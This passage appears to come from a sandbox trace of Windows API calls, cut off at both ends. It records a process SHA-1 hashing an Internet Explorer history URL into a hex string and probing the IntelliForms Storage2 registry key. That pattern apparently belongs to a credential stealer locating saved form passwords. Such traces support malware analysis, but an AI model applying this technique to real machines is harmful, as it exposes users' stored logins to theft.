14 [0097.747] lstrlenW (lpString="58") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71ceee0 [0097.747] lstrcpyW (in: lpString1=0x71ceee0, lpString2="5A56E936F06367" | out: lpString1="5A56E936F06367") returned="5A56E936F06367" [0097.747] lstrcatW (in: lpString1="5A56E936F06367", lpString2="58" | out: lpString1="5A56E936F0636758") returned="5A56E936F0636758" [0097.747] LocalFree (hMem=0x71d0010) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="17") returned 2 [0097.747] lstrlenW (lpString="5A56E936F0636758") returned 16 [0097.747] lstrlenW (lpString="17") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.747] lstrcpyW (in: lpString1=0x71d0010, lpString2="5A56E936F0636758" | out: lpString1="5A56E936F0636758") returned="5A56E936F0636758" [0097.747] lstrcatW (in: lpString1="5A56E936F0636758", lpString2="17" | out: lpString1="5A56E936F063675817") returned="5A56E936F063675817" [0097.747] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.747] lstrlenW (lpString="5A56E936F063675817") returned 18 [0097.747] lstrlenW (lpString="74") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.747] lstrcpyW (in: lpString1=0x7290b70, lpString2="5A56E936F063675817" | out: lpString1="5A56E936F063675817") returned="5A56E936F063675817" [0097.747] lstrcatW (in: lpString1="5A56E936F063675817", lpString2="74" | out: lpString1="5A56E936F06367581774") returned="5A56E936F06367581774" [0097.747] LocalFree (hMem=0x71d0010) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0097.747] lstrlenW (lpString="5A56E936F06367581774") returned 20 [0097.747] lstrlenW (lpString="7E") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.748] lstrcpyW (in: lpString1=0x72912f0, lpString2="5A56E936F06367581774" | out: lpString1="5A56E936F06367581774") returned="5A56E936F06367581774" [0097.748] lstrcatW (in: lpString1="5A56E936F06367581774", lpString2="7E" | out: lpString1="5A56E936F063675817747E") returned="5A56E936F063675817747E" [0097.748] LocalFree (hMem=0x7290b70) returned 0x0 [0097.748] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.748] lstrlenW (lpString="5A56E936F063675817747E") returned 22 [0097.748] lstrlenW (lpString="5A") returned 2 [0097.748] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.748] lstrcpyW (in: lpString1=0x7290b70, lpString2="5A56E936F063675817747E" | out: lpString1="5A56E936F063675817747E") returned="5A56E936F063675817747E" [0097.748] lstrcatW (in: lpString1="5A56E936F063675817747E", lpString2="5A" | out: lpString1="5A56E936F063675817747E5A") returned="5A56E936F063675817747E5A" [0097.748] LocalFree (hMem=0x72912f0) returned 0x0 [0097.748] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B9") returned 2 [0097.748] lstrlenW (lpString="5A56E936F063675817747E5A") returned 24 [0097.748] lstrlenW (lpString="B9") returned 2 [0097.748] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.748] lstrcpyW (in: lpString1=0x72912f0, lpString2="5A56E936F063675817747E5A" | out: lpString1="5A56E936F063675817747E5A") returned="5A56E936F063675817747E5A" [0097.748] lstrcatW (in: lpString1="5A56E936F063675817747E5A", lpString2="B9" | out: lpString1="5A56E936F063675817747E5AB9") returned="5A56E936F063675817747E5AB9" [0097.748] LocalFree (hMem=0x7290b70) returned 0x0 [0097.748] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0097.748] lstrlenW (lpString="5A56E936F063675817747E5AB9") returned 26 [0097.748] lstrlenW (lpString="EB") returned 2 [0097.748] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.748] lstrcpyW (in: lpString1=0x2815190, lpString2="5A56E936F063675817747E5AB9" | out: lpString1="5A56E936F063675817747E5AB9") returned="5A56E936F063675817747E5AB9" [0097.748] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9", lpString2="EB" | out: lpString1="5A56E936F063675817747E5AB9EB") returned="5A56E936F063675817747E5AB9EB" [0097.748] LocalFree (hMem=0x72912f0) returned 0x0 [0097.748] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0097.748] lstrlenW (lpString="5A56E936F063675817747E5AB9EB") returned 28 [0097.748] lstrlenW (lpString="2A") returned 2 [0097.748] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.748] lstrcpyW (in: lpString1=0x2814970, lpString2="5A56E936F063675817747E5AB9EB" | out: lpString1="5A56E936F063675817747E5AB9EB") returned="5A56E936F063675817747E5AB9EB" [0097.748] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB", lpString2="2A" | out: lpString1="5A56E936F063675817747E5AB9EB2A") returned="5A56E936F063675817747E5AB9EB2A" [0097.748] LocalFree (hMem=0x2815190) returned 0x0 [0097.748] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0097.748] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A") returned 30 [0097.748] lstrlenW (lpString="1B") returned 2 [0097.748] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.748] lstrcpyW (in: lpString1=0x2815190, lpString2="5A56E936F063675817747E5AB9EB2A" | out: lpString1="5A56E936F063675817747E5AB9EB2A") returned="5A56E936F063675817747E5AB9EB2A" [0097.748] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A", lpString2="1B" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B") returned="5A56E936F063675817747E5AB9EB2A1B" [0097.748] LocalFree (hMem=0x2814970) returned 0x0 [0097.749] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1E") returned 2 [0097.749] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A1B") returned 32 [0097.749] lstrlenW (lpString="1E") returned 2 [0097.749] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.749] lstrcpyW (in: lpString1=0x2814970, lpString2="5A56E936F063675817747E5AB9EB2A1B" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B") returned="5A56E936F063675817747E5AB9EB2A1B" [0097.749] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A1B", lpString2="1E" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1E") returned="5A56E936F063675817747E5AB9EB2A1B1E" [0097.749] LocalFree (hMem=0x2815190) returned 0x0 [0097.749] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B3") returned 2 [0097.749] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A1B1E") returned 34 [0097.749] lstrlenW (lpString="B3") returned 2 [0097.749] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.749] lstrcpyW (in: lpString1=0x28e7910, lpString2="5A56E936F063675817747E5AB9EB2A1B1E" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1E") returned="5A56E936F063675817747E5AB9EB2A1B1E" [0097.749] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A1B1E", lpString2="B3" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3") returned="5A56E936F063675817747E5AB9EB2A1B1EB3" [0097.749] LocalFree (hMem=0x2814970) returned 0x0 [0097.749] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0097.749] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A1B1EB3") returned 36 [0097.749] lstrlenW (lpString="66") returned 2 [0097.749] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.749] lstrcpyW (in: lpString1=0x28e7670, lpString2="5A56E936F063675817747E5AB9EB2A1B1EB3" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3") returned="5A56E936F063675817747E5AB9EB2A1B1EB3" [0097.749] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3", lpString2="66" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB366") returned="5A56E936F063675817747E5AB9EB2A1B1EB366" [0097.749] LocalFree (hMem=0x28e7910) returned 0x0 [0097.749] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0097.749] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A1B1EB366") returned 38 [0097.749] lstrlenW (lpString="3A") returned 2 [0097.749] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.749] lstrcpyW (in: lpString1=0x28e7910, lpString2="5A56E936F063675817747E5AB9EB2A1B1EB366" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB366") returned="5A56E936F063675817747E5AB9EB2A1B1EB366" [0097.749] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB366", lpString2="3A" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3663A") returned="5A56E936F063675817747E5AB9EB2A1B1EB3663A" [0097.749] LocalFree (hMem=0x28e7670) returned 0x0 [0097.749] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0097.749] lstrlenW (lpString="5A56E936F063675817747E5AB9EB2A1B1EB3663A") returned 40 [0097.749] lstrlenW (lpString="9E") returned 2 [0097.749] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.749] lstrcpyW (in: lpString1=0x28e7670, lpString2="5A56E936F063675817747E5AB9EB2A1B1EB3663A" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3663A") returned="5A56E936F063675817747E5AB9EB2A1B1EB3663A" [0097.749] lstrcatW (in: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3663A", lpString2="9E" | out: lpString1="5A56E936F063675817747E5AB9EB2A1B1EB3663A9E") returned="5A56E936F063675817747E5AB9EB2A1B1EB3663A9E" [0097.749] LocalFree (hMem=0x28e7910) returned 0x0 [0097.749] CryptDestroyHash (hHash=0x7203760) returned 1 [0097.749] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.749] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.750] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.750] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.750] LocalFree (hMem=0x28e7670) returned 0x0 [0097.750] CoTaskMemFree (pv=0x7223920) [0097.750] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.750] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv", lpSrch="?") returned 0x0 [0097.750] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.751] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.751] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv") returned 63 [0097.751] CryptHashData (hHash=0x7203760, pbData=0x7183070, dwDataLen=0x80, dwFlags=0x0) returned 1 [0097.751] CryptGetHashParam (in: hHash=0x7203760, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.751] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.751] lstrlenW (lpString="") returned 0 [0097.751] lstrlenW (lpString="BC") returned 2 [0097.751] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182530 [0097.751] lstrcpyW (in: lpString1=0x7182530, lpString2="" | out: lpString1="") returned="" [0097.751] lstrcatW (in: lpString1="", lpString2="BC" | out: lpString1="BC") returned="BC" [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0097.752] lstrlenW (lpString="BC") returned 2 [0097.752] lstrlenW (lpString="3B") returned 2 [0097.752] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7680 [0097.752] lstrcpyW (in: lpString1=0x28c7680, lpString2="BC" | out: lpString1="BC") returned="BC" [0097.752] lstrcatW (in: lpString1="BC", lpString2="3B" | out: lpString1="BC3B") returned="BC3B" [0097.752] LocalFree (hMem=0x7182530) returned 0x0 [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0097.752] lstrlenW (lpString="BC3B") returned 4 [0097.752] lstrlenW (lpString="ED") returned 2 [0097.752] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7720 [0097.752] lstrcpyW (in: lpString1=0x28c7720, lpString2="BC3B" | out: lpString1="BC3B") returned="BC3B" [0097.752] lstrcatW (in: lpString1="BC3B", lpString2="ED" | out: lpString1="BC3BED") returned="BC3BED" [0097.752] LocalFree (hMem=0x28c7680) returned 0x0 [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.752] lstrlenW (lpString="BC3BED") returned 6 [0097.752] lstrlenW (lpString="39") returned 2 [0097.752] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7680 [0097.752] lstrcpyW (in: lpString1=0x28c7680, lpString2="BC3BED" | out: lpString1="BC3BED") returned="BC3BED" [0097.752] lstrcatW (in: lpString1="BC3BED", lpString2="39" | out: lpString1="BC3BED39") returned="BC3BED39" [0097.752] LocalFree (hMem=0x28c7720) returned 0x0 [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FC") returned 2 [0097.752] lstrlenW (lpString="BC3BED39") returned 8 [0097.752] lstrlenW (lpString="FC") returned 2 [0097.752] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7720 [0097.752] lstrcpyW (in: lpString1=0x28c7720, lpString2="BC3BED39" | out: lpString1="BC3BED39") returned="BC3BED39" [0097.752] lstrcatW (in: lpString1="BC3BED39", lpString2="FC" | out: lpString1="BC3BED39FC") returned="BC3BED39FC" [0097.752] LocalFree (hMem=0x28c7680) returned 0x0 [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D7") returned 2 [0097.752] lstrlenW (lpString="BC3BED39FC") returned 10 [0097.752] lstrlenW (lpString="D7") returned 2 [0097.752] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.752] lstrcpyW (in: lpString1=0x71d0010, lpString2="BC3BED39FC" | out: lpString1="BC3BED39FC") returned="BC3BED39FC" [0097.752] lstrcatW (in: lpString1="BC3BED39FC", lpString2="D7" | out: lpString1="BC3BED39FCD7") returned="BC3BED39FCD7" [0097.752] LocalFree (hMem=0x28c7720) returned 0x0 [0097.752] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7C") returned 2 [0097.752] lstrlenW (lpString="BC3BED39FCD7") returned 12 [0097.753] lstrlenW (lpString="7C") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71ceee0 [0097.753] lstrcpyW (in: lpString1=0x71ceee0, lpString2="BC3BED39FCD7" | out: lpString1="BC3BED39FCD7") returned="BC3BED39FCD7" [0097.753] lstrcatW (in: lpString1="BC3BED39FCD7", lpString2="7C" | out: lpString1="BC3BED39FCD77C") returned="BC3BED39FCD77C" [0097.753] LocalFree (hMem=0x71d0010) returned 0x0 [0097.753] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5B") returned 2 [0097.753] lstrlenW (lpString="BC3BED39FCD77C") returned 14 [0097.753] lstrlenW (lpString="5B") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.753] lstrcpyW (in: lpString1=0x71d0010, lpString2="BC3BED39FCD77C" | out: lpString1="BC3BED39FCD77C") returned="BC3BED39FCD77C" [0097.753] lstrcatW (in: lpString1="BC3BED39FCD77C", lpString2="5B" | out: lpString1="BC3BED39FCD77C5B") returned="BC3BED39FCD77C5B" [0097.753] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.753] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3D") returned 2 [0097.753] lstrlenW (lpString="BC3BED39FCD77C5B") returned 16 [0097.753] lstrlenW (lpString="3D") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71ceee0 [0097.753] lstrcpyW (in: lpString1=0x71ceee0, lpString2="BC3BED39FCD77C5B" | out: lpString1="BC3BED39FCD77C5B") returned="BC3BED39FCD77C5B" [0097.753] lstrcatW (in: lpString1="BC3BED39FCD77C5B", lpString2="3D" | out: lpString1="BC3BED39FCD77C5B3D") returned="BC3BED39FCD77C5B3D" [0097.753] LocalFree (hMem=0x71d0010) returned 0x0 [0097.753] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F7") returned 2 [0097.753] lstrlenW (lpString="BC3BED39FCD77C5B3D") returned 18 [0097.753] lstrlenW (lpString="F7") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.753] lstrcpyW (in: lpString1=0x72912f0, lpString2="BC3BED39FCD77C5B3D" | out: lpString1="BC3BED39FCD77C5B3D") returned="BC3BED39FCD77C5B3D" [0097.753] lstrcatW (in: lpString1="BC3BED39FCD77C5B3D", lpString2="F7" | out: lpString1="BC3BED39FCD77C5B3DF7") returned="BC3BED39FCD77C5B3DF7" [0097.753] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.753] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.753] lstrlenW (lpString="BC3BED39FCD77C5B3DF7") returned 20 [0097.753] lstrlenW (lpString="5A") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.753] lstrcpyW (in: lpString1=0x7290b70, lpString2="BC3BED39FCD77C5B3DF7" | out: lpString1="BC3BED39FCD77C5B3DF7") returned="BC3BED39FCD77C5B3DF7" [0097.753] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF7", lpString2="5A" | out: lpString1="BC3BED39FCD77C5B3DF75A") returned="BC3BED39FCD77C5B3DF75A" [0097.753] LocalFree (hMem=0x72912f0) returned 0x0 [0097.753] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="03") returned 2 [0097.753] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A") returned 22 [0097.753] lstrlenW (lpString="03") returned 2 [0097.753] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.753] lstrcpyW (in: lpString1=0x72912f0, lpString2="BC3BED39FCD77C5B3DF75A" | out: lpString1="BC3BED39FCD77C5B3DF75A") returned="BC3BED39FCD77C5B3DF75A" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A", lpString2="03" | out: lpString1="BC3BED39FCD77C5B3DF75A03") returned="BC3BED39FCD77C5B3DF75A03" [0097.754] LocalFree (hMem=0x7290b70) returned 0x0 [0097.754] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.754] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A03") returned 24 [0097.754] lstrlenW (lpString="37") returned 2 [0097.754] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.754] lstrcpyW (in: lpString1=0x7290b70, lpString2="BC3BED39FCD77C5B3DF75A03" | out: lpString1="BC3BED39FCD77C5B3DF75A03") returned="BC3BED39FCD77C5B3DF75A03" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A03", lpString2="37" | out: lpString1="BC3BED39FCD77C5B3DF75A0337") returned="BC3BED39FCD77C5B3DF75A0337" [0097.754] LocalFree (hMem=0x72912f0) returned 0x0 [0097.754] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.754] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337") returned 26 [0097.754] lstrlenW (lpString="DE") returned 2 [0097.754] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.754] lstrcpyW (in: lpString1=0x2814970, lpString2="BC3BED39FCD77C5B3DF75A0337" | out: lpString1="BC3BED39FCD77C5B3DF75A0337") returned="BC3BED39FCD77C5B3DF75A0337" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337", lpString2="DE" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DE") returned="BC3BED39FCD77C5B3DF75A0337DE" [0097.754] LocalFree (hMem=0x7290b70) returned 0x0 [0097.754] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A8") returned 2 [0097.754] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DE") returned 28 [0097.754] lstrlenW (lpString="A8") returned 2 [0097.754] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.754] lstrcpyW (in: lpString1=0x2815190, lpString2="BC3BED39FCD77C5B3DF75A0337DE" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DE") returned="BC3BED39FCD77C5B3DF75A0337DE" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DE", lpString2="A8" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA8") returned="BC3BED39FCD77C5B3DF75A0337DEA8" [0097.754] LocalFree (hMem=0x2814970) returned 0x0 [0097.754] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.754] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA8") returned 30 [0097.754] lstrlenW (lpString="07") returned 2 [0097.754] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.754] lstrcpyW (in: lpString1=0x2814970, lpString2="BC3BED39FCD77C5B3DF75A0337DEA8" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA8") returned="BC3BED39FCD77C5B3DF75A0337DEA8" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA8", lpString2="07" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807") returned="BC3BED39FCD77C5B3DF75A0337DEA807" [0097.754] LocalFree (hMem=0x2815190) returned 0x0 [0097.754] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0097.754] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA807") returned 32 [0097.754] lstrlenW (lpString="CE") returned 2 [0097.754] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.754] lstrcpyW (in: lpString1=0x2815190, lpString2="BC3BED39FCD77C5B3DF75A0337DEA807" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807") returned="BC3BED39FCD77C5B3DF75A0337DEA807" [0097.754] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807", lpString2="CE" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CE") returned="BC3BED39FCD77C5B3DF75A0337DEA807CE" [0097.754] LocalFree (hMem=0x2814970) returned 0x0 [0097.755] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D3") returned 2 [0097.755] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA807CE") returned 34 [0097.755] lstrlenW (lpString="D3") returned 2 [0097.755] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.755] lstrcpyW (in: lpString1=0x28e7670, lpString2="BC3BED39FCD77C5B3DF75A0337DEA807CE" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CE") returned="BC3BED39FCD77C5B3DF75A0337DEA807CE" [0097.755] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CE", lpString2="D3" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3" [0097.755] LocalFree (hMem=0x2815190) returned 0x0 [0097.755] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A6") returned 2 [0097.755] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA807CED3") returned 36 [0097.755] lstrlenW (lpString="A6") returned 2 [0097.755] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.755] lstrcpyW (in: lpString1=0x28e7910, lpString2="BC3BED39FCD77C5B3DF75A0337DEA807CED3" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3" [0097.755] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3", lpString2="A6" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6" [0097.755] LocalFree (hMem=0x28e7670) returned 0x0 [0097.755] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0097.755] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6") returned 38 [0097.755] lstrlenW (lpString="F4") returned 2 [0097.755] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.755] lstrcpyW (in: lpString1=0x28e7670, lpString2="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6" [0097.755] lstrcatW (in: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6", lpString2="F4" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4") returned="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4" [0097.755] LocalFree (hMem=0x28e7910) returned 0x0 [0097.755] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.755] lstrlenW (lpString="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4") returned 40 [0097.755] lstrlenW (lpString="57") returned 2 [0097.755] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.755] lstrcpyW (in: lpString1=0x28e7910, lpString2="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4" | out: lpString1="BC3BED39FCD77C5B3DF75A0337DEA807CED3A6F4") 